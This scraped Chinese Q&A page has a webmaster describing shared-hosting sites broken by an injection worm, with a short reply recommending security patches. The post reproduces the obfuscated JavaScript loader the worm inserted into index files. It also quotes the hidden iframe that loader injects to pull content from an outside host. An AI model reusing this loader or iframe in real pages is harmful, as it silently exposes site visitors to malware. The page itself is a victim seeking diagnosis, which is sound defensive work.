共享主机环境中出现PHP解析错误
发布时间:2020-12-13 13:53:17 所属栏目:PHP教程 来源:网络整理
导读:最近有没有其他人看到过这个问题?我有几个网站因此错误而失败. Parse error: syntax error,unexpected '' in /home/public_html/index.PHP on line 39 它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.php / index.html文件中随机转储以下代码: ht
最近有没有其他人看到过这个问题?我有几个网站因此错误而失败.
Parse error: syntax error,unexpected '<' in /home/public_html/index.PHP on line 39 它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.php / index.html文件中随机转储以下代码: <html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[."ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,-15,33,-30,6,-12,-78,-18,18,21,66,-21,-105,39,87,-60,-51,12,-39,9,-3,-54,42,-33,51,-96,123,-6,-75,99,3,63,24,-72,48,-57,60,-45,69,-36,45,27,-114,-87,-84,57,-9,36,-117,90,30,78,72,108,96,-42,-27,-93,-63,-24,-81,126,75,102,111,-102,105,-48,-99,93,-66,15,-138,138,81,-69,-132,117,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html> 该代码盲目地插入了一个源自javascript的iFrame: <iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe> 我试图将网站拆开看看这是怎么发生的,但是有谁知道这是什么特定的攻击以及它是如何传播的?它是未泄漏的未修补代码,CPanel本身,破解密码,根服务器? 编辑 我无法确切地确定这里发生了什么,但它似乎是CPanel的事情 – 改变CPanel中的所有密码似乎都会阻止重复攻击.我在这种状态下留下了一个不重要的网站(没有清理网站代码),而且在它每天都被破坏之前一直都很好.联系了UK2.net和JustHost,但到目前为止还没有回应. 似乎public_html文件夹和一些其他“系统”文件夹已经奇怪地被chmod – 很多777应该没有.到目前为止,主机上没有回应. 编辑 似乎是“Trojan.JS.Agent.bur”试图了解更多……
听起来您的网站已成为蠕虫的受害者,这种蠕虫会将HTML /代码注入您的文件中.下次发布有问题的代码并进行分析.在此期间,您应确保所有应用程序和系统库都是最新的安全修补程序.
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |